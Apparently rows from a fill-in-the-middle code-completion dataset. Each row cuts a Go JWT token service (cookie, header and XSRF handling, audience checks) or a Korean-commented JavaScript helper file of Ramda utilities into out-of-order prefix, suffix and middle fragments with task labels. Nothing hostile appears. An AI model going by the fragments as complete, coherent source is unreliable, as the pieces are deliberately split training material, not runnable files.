token, err := parser.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(secret), nil
})
if err != nil {
return Claims{}, fmt.Errorf("can't parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return Claims{}, fmt.Errorf("invalid token")
}
if err = j.checkAuds(claims, j.AudienceReader); err != nil {
return Claims{}, fmt.Errorf("aud rejected: %w", err)
}
return *claims, j.validate(claims)
}
// aud pre-parse token and extracts aud from the claim
// important! this step ignores token verification, should not be used for any validations
func (j *Service) aud(tokenString string) (string, error) {
parser := jwt.Parser{}
token, _, err := parser.ParseUnverified(tokenString, &Claims{})
if err != nil {
return "", fmt.Errorf("can't pre-parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return "", fmt.Errorf("invalid token")
}
if strings.TrimSpace(claims.Audience) == "" {
return "", fmt.Errorf("empty aud")
}
return claims.Audience, nil
}
func (j *Service) validate(claims *Claims) error {
cerr := claims.Valid()
if cerr == nil {
return nil
}
if e, ok := cerr.(*jwt.ValidationError); ok {
if e.Errors == jwt.ValidationErrorExpired {
return nil // allow expired tokens
}
}
return cerr
}
// Set creates token cookie with xsrf cookie and put it to ResponseWriter
// accepts claims and sets expiration if none defined. permanent flag means long-living cookie,
// false makes it session only.
func (j *Service) Set(w http.ResponseWriter, claims Claims) (Claims, error) {
if claims.ExpiresAt == 0 {
claims.ExpiresAt = time.Now().Add(j.TokenDuration).Unix()
}
if claims.Issuer == "" {
claims.Issuer = j.Issuer
}
if !j.DisableIAT {
claims.IssuedAt = time.Now().Unix()
}
tokenString, err := j.Token(claims)
if err != nil {
return Claims{}, fmt.Errorf("failed to make token token: %w", err)
}
if j.SendJWTHeader {
w.Header().Set(j.JWTHeaderKey, tokenString)
return claims, nil
}
cookieExpiration := 0 // session cookie
if !claims.SessionOnly && claims.Handshake == nil {
cookieExpiration = int(j.CookieDuration.Seconds())
}
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: tokenString, HttpOnly: true, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: claims.Id, HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
return claims, nil
}
// Get token from url, header or cookie
// if cookie used, verify xsrf token to match
func (j *Service) Get(r *http.Request) (Claims, string, error) {
fromCookie := false
tokenString := ""
// try to get from "token" query param
if tkQuery := r.URL.Query().Get(j.JWTQuery); tkQuery != "" {
tokenString = tkQuery
}
// try to get from JWT header
if tokenHeader := r.Header.Get(j.JWTHeaderKey); tokenHeader != "" && tokenString == "" {
tokenString = tokenHeader
}
// try to get from JWT cookie
if tokenString == "" {
fromCookie = true
jc, err := r.Cookie(j.JWTCookieName)
if err != nil {
return Claims{}, "", fmt.Errorf("token cookie was not presented: %w", err)
}
tokenString = jc.Value
}
claims, err := j.Parse(tokenString)
if err != nil {
return Claims{}, "", fmt.Errorf("failed to get token: %w", err)
}
// promote claim's aud to User.Audience
if claims.User != nil {
claims.User.Audience = claims.Audience
}
if !fromCookie && j.IsExpired(claims) {
return Claims{}, "", fmt.Errorf("token expired")
}
if j.DisableXSRF {
return claims, tokenString, nil
}
if fromCookie && claims.User != nil {
xsrf := r.Header.Get(j.XSRFHeaderKey)
if claims.Id != xsrf {
return Claims{}, "", fmt.Errorf("xsrf mismatch")
}
}
return claims, tokenString, nil
}
// IsExpired returns true if claims expired
func (j *Service) IsExpired(claims Claims) bool {
return !claims.VerifyExpiresAt(time.Now().Unix(), true)
}
// Reset token's cookies
func (j *Service) Reset(w http.ResponseWriter) {
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
}
// checkAuds verifies if claims.Audience in the list of allowed by audReader
func (j *Service) checkAuds(claims *Claims, audReader Audience) error {
if audReader == nil { // lack of any allowed means any
return nil
}
auds, err := audReader.Get()
if err != nil {
return fmt.Errorf("failed to get auds: %w", err)
}
for _, a := range auds {
if strings.EqualFold(a, claims.Audience) {
return nil
}
}
return fmt.Errorf("aud %q not allowed", claims.Audience)
}
func (c Claims) String() string {
b, err := json.Marshal(c)
if err != nil {
return fmt.Sprintf("%+v %+v", c.StandardClaims, c.User)
}
return string(b)
}
// Secret defines interface returning secret key for given id (aud)
type Secret interface {
Get(aud string) (string, error) // aud matching is optional. Implementation may decide if supported or ignored
}
// SecretFunc type is an adapter to allow the use of ordinary functions as Secret. If f is a function
// with the appropriate signature, SecretFunc(f) is a Handler that calls f.
type SecretFunc func(aud string) (string, error)
// Get calls f()
func (f SecretFunc) Get(aud string) (string, error) {
return f(aud)
}
// ClaimsUpdater defines interface adding extras to claims
type ClaimsUpdater interface {
Update(claims Claims) Claims
}
// ClaimsUpdFunc type is an adapter to allow the use of ordinary functions as ClaimsUpdater. If f is a function
// with the appropriate signature, ClaimsUpdFunc(f) is a Handler that calls f.
type ClaimsUpdFunc func(claims Claims) Claims
// Update calls f(id)
func (f ClaimsUpdFunc) Update(claims Claims) Claims {
return f(claims)
}
// Validator defines interface to accept o reject claims with consumer defined logic
// It works with valid token and allows to reject some, based on token match or user's fields
type Validator interface {
Validate(token string, claims Claims) bool
}
// ValidatorFunc type is an adapter to allow the use of ordinary functions as Validator. If f is a function
// with the appropriate signature, ValidatorFunc(f) is a Validator that calls f.
type ValidatorFunc func(token string, claims Claims) bool
// Validate calls f(id)
func (f ValidatorFunc) Validate(token string, claims Claims) bool {
return f(token, claims)
}
// Audience defines interface returning list of allowed audiences
type Audience interface {
Get() ([]string, error)
}
// AudienceFunc type is an adapter to allow the use of ordinary functions as Audience.
type AudienceFunc func() ([]string, error)
// Get calls f()
func (f AudienceFunc) Get() ([]string, error) {
return f()
} | Opts
}
// Claims stores user info for token and state & from from login | random_line_split |
jwt.go | // Package token wraps jwt-go library and provides higher level abstraction to work with JWT.
package token
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"github.com/golang-jwt/jwt"
)
// Service wraps jwt operations
// supports both header and cookie tokens
type Service struct {
Opts
}
// Claims stores user info for token and state & from from login
type Claims struct {
jwt.StandardClaims
User *User `json:"user,omitempty"` // user info
SessionOnly bool `json:"sess_only,omitempty"`
Handshake *Handshake `json:"handshake,omitempty"` // used for oauth handshake
NoAva bool `json:"no-ava,omitempty"` // disable avatar, always use identicon
}
// Handshake used for oauth handshake
type Handshake struct {
State string `json:"state,omitempty"`
From string `json:"from,omitempty"`
ID string `json:"id,omitempty"`
}
const (
// default names for cookies and headers
defaultJWTCookieName = "JWT"
defaultJWTCookieDomain = ""
defaultJWTHeaderKey = "X-JWT"
defaultXSRFCookieName = "XSRF-TOKEN"
defaultXSRFHeaderKey = "X-XSRF-TOKEN"
defaultIssuer = "go-pkgz/auth"
defaultTokenDuration = time.Minute * 15
defaultCookieDuration = time.Hour * 24 * 31
defaultTokenQuery = "token"
)
// Opts holds constructor params
type Opts struct {
SecretReader Secret
ClaimsUpd ClaimsUpdater
SecureCookies bool
TokenDuration time.Duration
CookieDuration time.Duration
DisableXSRF bool
DisableIAT bool // disable IssuedAt claim
// optional (custom) names for cookies and headers
JWTCookieName string
JWTCookieDomain string
JWTHeaderKey string
XSRFCookieName string
XSRFHeaderKey string
JWTQuery string
AudienceReader Audience // allowed aud values
Issuer string // optional value for iss claim, usually application name
AudSecrets bool // uses different secret for differed auds. important: adds pre-parsing of unverified token
SendJWTHeader bool // if enabled send JWT as a header instead of cookie
SameSite http.SameSite // define a cookie attribute making it impossible for the browser to send this cookie cross-site
}
// NewService makes JWT service
func NewService(opts Opts) *Service {
res := Service{Opts: opts}
setDefault := func(fld *string, def string) {
if *fld == "" {
*fld = def
}
}
setDefault(&res.JWTCookieName, defaultJWTCookieName)
setDefault(&res.JWTHeaderKey, defaultJWTHeaderKey)
setDefault(&res.XSRFCookieName, defaultXSRFCookieName)
setDefault(&res.XSRFHeaderKey, defaultXSRFHeaderKey)
setDefault(&res.JWTQuery, defaultTokenQuery)
setDefault(&res.Issuer, defaultIssuer)
setDefault(&res.JWTCookieDomain, defaultJWTCookieDomain)
if opts.TokenDuration == 0 {
res.TokenDuration = defaultTokenDuration
}
if opts.CookieDuration == 0 {
res.CookieDuration = defaultCookieDuration
}
return &res
}
// Token makes token with claims
func (j *Service) Token(claims Claims) (string, error) {
// make token for allowed aud values only, rejects others
// update claims with ClaimsUpdFunc defined by consumer
if j.ClaimsUpd != nil {
claims = j.ClaimsUpd.Update(claims)
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
if j.SecretReader == nil {
return "", fmt.Errorf("secret reader not defined")
}
if err := j.checkAuds(&claims, j.AudienceReader); err != nil {
return "", fmt.Errorf("aud rejected: %w", err)
}
secret, err := j.SecretReader.Get(claims.Audience) // get secret via consumer defined SecretReader
if err != nil {
return "", fmt.Errorf("can't get secret: %w", err)
}
tokenString, err := token.SignedString([]byte(secret))
if err != nil {
return "", fmt.Errorf("can't sign token: %w", err)
}
return tokenString, nil
}
// Parse token string and verify. Not checking for expiration
func (j *Service) Parse(tokenString string) (Claims, error) {
parser := jwt.Parser{SkipClaimsValidation: true} // allow parsing of expired tokens
if j.SecretReader == nil {
return Claims{}, fmt.Errorf("secret reader not defined")
}
aud := "ignore"
if j.AudSecrets {
var err error
aud, err = j.aud(tokenString)
if err != nil |
}
secret, err := j.SecretReader.Get(aud)
if err != nil {
return Claims{}, fmt.Errorf("can't get secret: %w", err)
}
token, err := parser.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(secret), nil
})
if err != nil {
return Claims{}, fmt.Errorf("can't parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return Claims{}, fmt.Errorf("invalid token")
}
if err = j.checkAuds(claims, j.AudienceReader); err != nil {
return Claims{}, fmt.Errorf("aud rejected: %w", err)
}
return *claims, j.validate(claims)
}
// aud pre-parse token and extracts aud from the claim
// important! this step ignores token verification, should not be used for any validations
func (j *Service) aud(tokenString string) (string, error) {
parser := jwt.Parser{}
token, _, err := parser.ParseUnverified(tokenString, &Claims{})
if err != nil {
return "", fmt.Errorf("can't pre-parse token: %w", err)
}
claims, ok := token.Claims.(*Claims)
if !ok {
return "", fmt.Errorf("invalid token")
}
if strings.TrimSpace(claims.Audience) == "" {
return "", fmt.Errorf("empty aud")
}
return claims.Audience, nil
}
func (j *Service) validate(claims *Claims) error {
cerr := claims.Valid()
if cerr == nil {
return nil
}
if e, ok := cerr.(*jwt.ValidationError); ok {
if e.Errors == jwt.ValidationErrorExpired {
return nil // allow expired tokens
}
}
return cerr
}
// Set creates token cookie with xsrf cookie and put it to ResponseWriter
// accepts claims and sets expiration if none defined. permanent flag means long-living cookie,
// false makes it session only.
func (j *Service) Set(w http.ResponseWriter, claims Claims) (Claims, error) {
if claims.ExpiresAt == 0 {
claims.ExpiresAt = time.Now().Add(j.TokenDuration).Unix()
}
if claims.Issuer == "" {
claims.Issuer = j.Issuer
}
if !j.DisableIAT {
claims.IssuedAt = time.Now().Unix()
}
tokenString, err := j.Token(claims)
if err != nil {
return Claims{}, fmt.Errorf("failed to make token token: %w", err)
}
if j.SendJWTHeader {
w.Header().Set(j.JWTHeaderKey, tokenString)
return claims, nil
}
cookieExpiration := 0 // session cookie
if !claims.SessionOnly && claims.Handshake == nil {
cookieExpiration = int(j.CookieDuration.Seconds())
}
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: tokenString, HttpOnly: true, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: claims.Id, HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: cookieExpiration, Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
return claims, nil
}
// Get token from url, header or cookie
// if cookie used, verify xsrf token to match
func (j *Service) Get(r *http.Request) (Claims, string, error) {
fromCookie := false
tokenString := ""
// try to get from "token" query param
if tkQuery := r.URL.Query().Get(j.JWTQuery); tkQuery != "" {
tokenString = tkQuery
}
// try to get from JWT header
if tokenHeader := r.Header.Get(j.JWTHeaderKey); tokenHeader != "" && tokenString == "" {
tokenString = tokenHeader
}
// try to get from JWT cookie
if tokenString == "" {
fromCookie = true
jc, err := r.Cookie(j.JWTCookieName)
if err != nil {
return Claims{}, "", fmt.Errorf("token cookie was not presented: %w", err)
}
tokenString = jc.Value
}
claims, err := j.Parse(tokenString)
if err != nil {
return Claims{}, "", fmt.Errorf("failed to get token: %w", err)
}
// promote claim's aud to User.Audience
if claims.User != nil {
claims.User.Audience = claims.Audience
}
if !fromCookie && j.IsExpired(claims) {
return Claims{}, "", fmt.Errorf("token expired")
}
if j.DisableXSRF {
return claims, tokenString, nil
}
if fromCookie && claims.User != nil {
xsrf := r.Header.Get(j.XSRFHeaderKey)
if claims.Id != xsrf {
return Claims{}, "", fmt.Errorf("xsrf mismatch")
}
}
return claims, tokenString, nil
}
// IsExpired returns true if claims expired
func (j *Service) IsExpired(claims Claims) bool {
return !claims.VerifyExpiresAt(time.Now().Unix(), true)
}
// Reset token's cookies
func (j *Service) Reset(w http.ResponseWriter) {
jwtCookie := http.Cookie{Name: j.JWTCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &jwtCookie)
xsrfCookie := http.Cookie{Name: j.XSRFCookieName, Value: "", HttpOnly: false, Path: "/", Domain: j.JWTCookieDomain,
MaxAge: -1, Expires: time.Unix(0, 0), Secure: j.SecureCookies, SameSite: j.SameSite}
http.SetCookie(w, &xsrfCookie)
}
// checkAuds verifies if claims.Audience in the list of allowed by audReader
func (j *Service) checkAuds(claims *Claims, audReader Audience) error {
if audReader == nil { // lack of any allowed means any
return nil
}
auds, err := audReader.Get()
if err != nil {
return fmt.Errorf("failed to get auds: %w", err)
}
for _, a := range auds {
if strings.EqualFold(a, claims.Audience) {
return nil
}
}
return fmt.Errorf("aud %q not allowed", claims.Audience)
}
func (c Claims) String() string {
b, err := json.Marshal(c)
if err != nil {
return fmt.Sprintf("%+v %+v", c.StandardClaims, c.User)
}
return string(b)
}
// Secret defines interface returning secret key for given id (aud)
type Secret interface {
Get(aud string) (string, error) // aud matching is optional. Implementation may decide if supported or ignored
}
// SecretFunc type is an adapter to allow the use of ordinary functions as Secret. If f is a function
// with the appropriate signature, SecretFunc(f) is a Handler that calls f.
type SecretFunc func(aud string) (string, error)
// Get calls f()
func (f SecretFunc) Get(aud string) (string, error) {
return f(aud)
}
// ClaimsUpdater defines interface adding extras to claims
type ClaimsUpdater interface {
Update(claims Claims) Claims
}
// ClaimsUpdFunc type is an adapter to allow the use of ordinary functions as ClaimsUpdater. If f is a function
// with the appropriate signature, ClaimsUpdFunc(f) is a Handler that calls f.
type ClaimsUpdFunc func(claims Claims) Claims
// Update calls f(id)
func (f ClaimsUpdFunc) Update(claims Claims) Claims {
return f(claims)
}
// Validator defines interface to accept o reject claims with consumer defined logic
// It works with valid token and allows to reject some, based on token match or user's fields
type Validator interface {
Validate(token string, claims Claims) bool
}
// ValidatorFunc type is an adapter to allow the use of ordinary functions as Validator. If f is a function
// with the appropriate signature, ValidatorFunc(f) is a Validator that calls f.
type ValidatorFunc func(token string, claims Claims) bool
// Validate calls f(id)
func (f ValidatorFunc) Validate(token string, claims Claims) bool {
return f(token, claims)
}
// Audience defines interface returning list of allowed audiences
type Audience interface {
Get() ([]string, error)
}
// AudienceFunc type is an adapter to allow the use of ordinary functions as Audience.
type AudienceFunc func() ([]string, error)
// Get calls f()
func (f AudienceFunc) Get() ([]string, error) {
return f()
}
| {
return Claims{}, fmt.Errorf("can't retrieve audience from the token")
} | conditional_block |
helper.js | import * as R from 'ramda';
// error handling 없이 무조건 null return
export const checkTC = (fn) => {
try {
return fn();
} catch (e) {
return null;
}
};
export const isNull = (val) => {
return String(val) === 'NULL' ? null : val;
};
export const isBoolean = (val) => {
return String(val) === '0' ? false : String(val) === '1';
};
export const auth = (params) => {
return '';
};
// data sorting
// * array JSON 형식의 데이터를 요청한 컬럼들을 기준으로 정렬하여 리턴
// ex) dSort(["AColumn", "BColumn"], arrayJson);
// return => [{"AColumn": 1, "BColumn": 1}, {"AColumn": 1, "BColumn": 2}, {"AColumn": 2, "BColumn": 1}]
export const dSort = (columns, data) => {
return R.pipe(R.sortBy(R.props(columns)))(data);
};
// data sorting + asc, desc 기능 추가
// * array JSON 형식의 데이터를 요청한 컬럼들을 기준으로 정렬하여 리턴
// 컬럼명 끝에 :R 을 추가 시 해당 컬럼은 desc 처리
// ex) dSortWith(["AColumn:D", "BColumn"], arrayJson);
export const dSortWith = (columns, data) => {
const colItems = columns.map((item, i) => {
return item.indexOf(':D') === -1 ? R.ascend(R.prop(item)) : R.descend(R.prop(item.replace(':D', '')));
});
return R.sortWith(colItems, data);
};
// data grouping
// * 특정컬럼들을 추출하여 grouping 하여 array JSON 형식으로 리턴
// ex) dGroup(["AColumn", "BColumn"], arrayJson);
// ex2) dGroup(["AColumn", "BColumn"], arrayJson, ["AColumn"]);
// return => [{"AColumn": 5, "BColumn": 6}, {"AColumn": 4, "BColumn": 2}, {"AColumn": 3, "BColumn": 8}]
export const dGroup = (columns, data, sort) => {
const result = R.pipe(R.map(R.props(columns)), R.map(JSON.stringify), R.uniq, R.map(JSON.parse), R.map(R.zipObj(columns)))(data);
if (typeof sort === 'undefined') return result;
return dSortWith(sort, result);
};
// data Filter
// * AND 연산으로 컬럼의 벨류값들이 정확히 일치하는 행을 array JSON 형식으로 리턴
// ex) dFilter([{"AColumn": "a"}, {"BColumn": "b"}], arrayJson);
// return => [{"AColumn" : "a", "BColumn": "b", "CColumn" : "c"}]
export const dFilter = (fieldName, data) => {
let tmpData = data;
fieldName.map((item) => {
if (item[Object.keys(item)[0]] !== '') {
tmpData = R.filter(R.propEq(Object.keys(item)[0], item[Object.keys(item)[0]]))(tmpData);
}
});
return tmpData;
};
// data Fillter IN
// * IN 연산으로 벨류값을 array내 벨류값을 포함하면 해당값을 리턴
// ex) dFilterIn("FailType", [1, 2, 3], userList);
// return => [{SuhumNo: "BOAA10004", ApplicantName: "***", DisplayName: "진리_전자_473", SelTypeCode: "O", SelTypeName: "진리자유전형", …}]
export const dFilterIn = (fieldName, fieldArr, data) => {
let tmpData = data;
if (fieldArr.length > 0) {
tmpData = R.filter(R.compose(R.flip(R.contains)(fieldArr), R.prop(fieldName)), tmpData);
}
return tmpData;
};
// data Filter LIKE
// * AND 연산으로 컬럼의 벨류값들이 LIKE로 일치하는 행을 array JSON 형식으로 리턴
// ex) dFilter([{"AColumn": "a"}, {"BColumn": "b"}], arrayJson);
// return => [{"AColumn" : "a", "BColumn": "b", "CColumn" : "c"}]
export const dFilterLike = (fieldName, data) => {
let tmpData = data;
fieldName.map((item) => {
if (item[Object.keys(item)[0]] !== '') {
tmpData = R.filter(
R.where({
[Object.keys(item)[0]]: R.contains(item[Object.keys(item)[0]]),
}),
)(tmpData);
}
});
return tmpData;
};
// data Duplication
export const dDuplicate = R.reduce(R.concat, []);
//숫자형 데이터인 경우 1000단위 ","를 넣어서 리턴
// ex) comma("2000")
// return "2,000"
export const comma = (value) => {
//Number.isInteger(value)
return typeof value === 'number' ? value.toLocaleString(navigator.language, { minimumFractionDigits: 0 }) : value;
};
// 데이터(학생부 비교과나 자기소개서 등에 쓰이는)\n 반영해 화면에 보여주는 함수
export const enterData = (data, fontSize) => {
if (data === null) {
return <p />;
} else {
return data.split(/(♨|\n)/).map((item, i) => {
return (
<p key={i} style={{ fontSize: fontSize }}>
{item}
</p>
);
});
}
};
export const enterToBr = (data) => {
if (data) {
//console.log(data.indexOf(/(\n)/));
}
return data ? data.replace(/(\n|♨|\/EOR\/)/gi, '<br />') : '';
};
export const bindKeyword = (keyword, originalData) => {
if (!originalData) return '';
let rtnData = originalData;
keyword.map((item, i) => {
if (item.Keyword.trim() !== '') {
//공백이 업로드된경우 시스템 먹통됨을 방지
const Keyword = item.Keyword.replace(/([()[{*+.$^\\|?])/g, '\\$1');
const filter = new RegExp(Keyword, 'g');
const replaceValue = `<b style="${item.Style}">${item.Keyword}</b>`;
rtnData = rtnData.replace(filter, replaceValue);
}
});
return rtnData;
};
// stateJsonCopy
// state의 json array를 copy시 사용
// 목적: 새로운 객체 만드는거
export const stateJsonCopy = (data) => {
return JSON.parse(JSON.stringify(data));
};
// 필수체크
// let val = validation(this.state, { exception: ["evalName"] });
export const validation = (data, opts) => {
var result = { success: true };
var opt = opts || {};
var exception = opt.exception || [];
var include = opt.include || [];
var value = opt.value || '';
for (var key in data) {
let check = false;
if (typeof data[key] !== 'string') {
check = true;
continue;
}
//컬럼 제외
for (var s in exception) {
if (exception[s] === key) {
check = true;
break;
}
}
if (check) continue;
//컬럼 지정
let includeCheck = false;
for (var k in include) {
if (include[k] === key) {
includeCheck = true;
break;
}
}
if (include.length > 0 && !includeCheck) continue;
//컬럼비교
if (data[key] === value) {
result = { success: false, column: key };
return result;
}
}
return result;
};
// 데이터 비교
// val = compare(this.state, {compare: ["evalName", "groupName"]});
export const compare = (data, opts) => {
var opt = opts || {};
var compare = opt.compare || [];
let sPre = '';
if (compare.length < 2) return false;
for (var i in compare) {
var s = compare[i];
if (i > 0 && data[sPre] !== data[s]) {
return { success: false, column: s };
}
sPre = s;
}
return { success: true, column: sPre };
};
// json 데이터의 특정 컬럼 bool 체크 유무 확인(1개이상인지)
export const jsonDataChecked = (data, column) => {
column = column || 'check';
let checked = false;
for (var i in data) {
if (data[i][column]) {
checked = true;
break;
}
}
return checked;
};
export const maskingText = (text, maskingWord, useLength, appendText, use) => {
if (use) {
const maskingArray = new Array(useLength ? useLength : text.length).fill(maskingWord || '*' | f (appendText) rtnText = rtnText + appendText;
return rtnText;
}
return text;
};
// Blob -> String 변환
export const parseBlob = async (file) => {
const reader = new FileReader();
reader.readAsText(file);
return await new Promise((resolve, reject) => {
reader.onload = function (event) {
resolve(reader.result);
};
});
};
export const getBlindText = (parent, node, isPre, point) => {
const getNode = (parent, node, isPre) => {
let fn = isPre ? 'previousSibling' : 'nextSibling';
return parent !== node.parentNode ? node.parentNode[fn] : node[fn];
};
const params = isPre ? [0, point] : [point, node.textContent.length];
let text = node.textContent.substring(...params);
node = getNode(parent, node, isPre, point);
// 문자열 앞뒤에 공백이 아닌경우 어절을 ++
let wordCnt = 2;
let p = point;
while (node) {
p = p + node.textContent.length;
text = isPre ? node.textContent + text : text + node.textContent;
node = getNode(parent, node, isPre, point);
}
// 문자열 앞뒤 공백 OR 문자열 확인
const firstWord = isPre ? text.substring(p - 1, p) : text.slice(0, 1);
const wordCheck = firstWord.match(/(\n|\t|\s)/);
if (!wordCheck) wordCnt++;
// 앞뒤 문자열에서 공백, 탭, 엔터를 SPACE 로 변경 및 SPACE로 해당 어절 스플릿
text = text.replace(/(\r|\n|\t)/g, ' ');
let word = text.split(' ');
// 배열내 공백 값 제거
word = word.filter((x) => !!x);
// 앞뒤 어절 wordCnt 갯수만큼 추출
let sLen = isPre ? wordCnt * -1 : 0;
let eLen = isPre ? word.length : wordCnt;
word = word.slice(sLen, eLen);
// 양옆 공백값 생성
const leftSpace = !isPre && wordCheck ? ' ' : '';
const rightSpace = isPre && wordCheck ? ' ' : '';
return `${leftSpace}${word.join(' ')}${rightSpace}`;
};
export const bindMasking = (maskingArr, originalData) => {
if (!originalData) return '';
if (!maskingArr) return originalData;
let rtnData = originalData;
maskingArr.map((item, i) => {
if (item.value.trim() !== '') {
//공백이 업로드된경우 시스템 먹통됨을 방지
const bvalue = item.value.replace(/([()[{*+.$^\\|?])/g, '\\$1');
const filter = new RegExp(bvalue, 'g');
const masking = item.value.replace(/./g, '*');
//maskingValue가 ***일경우 글자수만큼 * 처리하고 그렇지 않을경우 maskingValue를 사용함 danny 2018.11.20
rtnData = rtnData.replace(filter, item.maskingValue === '***' ? masking : item.maskingValue);
}
});
return rtnData;
};
export const stdev = (arr) => {
const n = arr.length;
if (n === 0) return {};
const sum = arr.reduce((a, b) => a + b);
const mean = sum / n;
let variance = 0.0;
let v1 = 0.0;
let v2 = 0.0;
let stddev = 0.0;
if (n != 1) {
for (var i = 0; i < n; i++) {
v1 = v1 + (arr[i] - mean) * (arr[i] - mean);
v2 = v2 + (arr[i] - mean);
}
v2 = (v2 * v2) / n;
variance = (v1 - v2) / (n - 1);
if (variance < 0) {
variance = 0;
}
stddev = Math.sqrt(variance);
}
return {
mean: Math.round(mean * 1000) / 1000,
variance: variance,
deviation: Math.round(stddev * 1000) / 1000,
};
};
// 소수점 0제거
// decimalZeroRemove("99.20000", 5)
export const decimalZeroRemove = (value, len) => {
if (len === undefined) len = 5;
const cipher = parseInt('1' + new Array(len + 1).join('0'), 10);
if (isNaN(value) || value === '' || value === undefined || value === null) {
return value;
} else {
return (value * cipher) / cipher;
}
};
export const replaceHTMLTAG = (data) => {
// 에디터블에서는 원본에 "<,>" 문자가 태그로 인식되어 사라짐
let ConvertTag = [
{ value: '<', maskingValue: '<' },
{ value: '>', maskingValue: '>' },
];
return data ? bindMasking(ConvertTag, data) : '';
};
| );
let rtnText = maskingArray.join('');
i | conditional_block |
helper.js | import * as R from 'ramda';
// error handling 없이 무조건 null return
export const checkTC = (fn) => {
try {
return fn();
} catch (e) {
return null;
}
};
export const isNull = (val) => {
return String(val) === 'NULL' ? null : val;
};
export const isBoolean = (val) => {
return String(val) === '0' ? false : String(val) === '1';
};
export const auth = (params) => {
return '';
};
// data sorting
// * array JSON 형식의 데이터를 요청한 컬럼들을 기준으로 정렬하여 리턴
// ex) dSort(["AColumn", "BColumn"], arrayJson);
// return => [{"AColumn": 1, "BColumn": 1}, {"AColumn": 1, "BColumn": 2}, {"AColumn": 2, "BColumn": 1}]
export const dSort = (columns, data) => {
return R.pipe(R.sortBy(R.props(columns)))(data);
};
// data sorting + asc, desc 기능 추가
// * array JSON 형식의 데이터를 요청한 컬럼들을 기준으로 정렬하여 리턴
// 컬럼명 끝에 :R 을 추가 시 해당 컬럼은 desc 처리
// ex) dSortWith(["AColumn:D", "BColumn"], arrayJson);
export const dSortWith = (columns, data) => {
const colItems = columns.map((item, i) => {
return item.indexOf(':D') === -1 ? R.ascend(R.prop(item)) : R.descend(R.prop(item.replace(':D', '')));
});
return R.sortWith(colItems, data);
};
// data grouping
// * 특정컬럼들을 추출하여 grouping 하여 array JSON 형식으로 리턴
// ex) dGroup(["AColumn", "BColumn"], arrayJson);
// ex2) dGroup(["AColumn", "BColumn"], arrayJson, ["AColumn"]);
// return => [{"AColumn": 5, "BColumn": 6}, {"AColumn": 4, "BColumn": 2}, {"AColumn": 3, "BColumn": 8}]
export const dGroup = (columns, data, sort) => {
const result = R.pipe(R.map(R.props(columns)), R.map(JSON.stringify), R.uniq, R.map(JSON.parse), R.map(R.zipObj(columns)))(data);
if (typeof sort === 'undefined') return result;
return dSortWith(sort, result);
};
// data Filter
// * AND 연산으로 컬럼의 벨류값들이 정확히 일치하는 행을 array JSON 형식으로 리턴
// ex) dFilter([{"AColumn": "a"}, {"BColumn": "b"}], arrayJson);
// return => [{"AColumn" : "a", "BColumn": "b", "CColumn" : "c"}]
export const dFilter = (fieldName, data) => {
let tmpData = data;
fieldName.map((item) => {
if (item[Object.keys(item)[0]] !== '') {
tmpData = R.filter(R.propEq(Object.keys(item)[0], item[Object.keys(item)[0]]))(tmpData);
}
});
return tmpData;
};
// data Fillter IN
// * IN 연산으로 벨류값을 array내 벨류값을 포함하면 해당값을 리턴
// ex) dFilterIn("FailType", [1, 2, 3], userList);
// return => [{SuhumNo: "BOAA10004", ApplicantName: "***", DisplayName: "진리_전자_473", SelTypeCode: "O", SelTypeName: "진리자유전형", …}]
export const dFilterIn = (fieldName, fieldArr, data) => {
let tmpData = data;
if (fieldArr.length > 0) {
tmpData = R.filter(R.compose(R.flip(R.contains)(fieldArr), R.prop(fieldName)), tmpData);
}
return tmpData;
};
// data Filter LIKE
// * AND 연산으로 컬럼의 벨류값들이 LIKE로 일치하는 행을 array JSON 형식으로 리턴
// ex) dFilter([{"AColumn": "a"}, {"BColumn": "b"}], arrayJson);
// return => [{"AColumn" : "a", "BColumn": "b", "CColumn" : "c"}]
export const dFilterLike = (fieldName, data) => {
let tmpData = data;
fieldName.map((item) => {
if (item[Object.keys(item)[0]] !== '') {
tmpData = R.filter(
R.where({
[Object.keys(item)[0]]: R.contains(item[Object.keys(item)[0]]),
}),
)(tmpData);
}
});
return tmpData;
};
// data Duplication
export const dDuplicate = R.reduce(R.concat, []);
//숫자형 데이터인 경우 1000단위 ","를 넣어서 리턴
// ex) comma("2000")
